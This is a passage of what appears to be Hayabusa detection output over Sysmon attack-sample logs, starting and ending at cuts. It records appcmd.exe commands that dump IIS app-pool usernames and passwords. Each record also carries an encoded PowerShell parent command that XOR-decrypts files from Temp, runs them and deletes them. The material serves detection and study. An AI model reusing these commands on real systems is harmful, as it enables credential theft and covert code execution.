HAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.282 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Description: Cannot read configuration file due to insufficient permissions"" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.352 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Description: Cannot read configuration file due to insufficient permissions"" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.432 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.522 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.662 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool "". )"" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.742 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool "". )"" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc 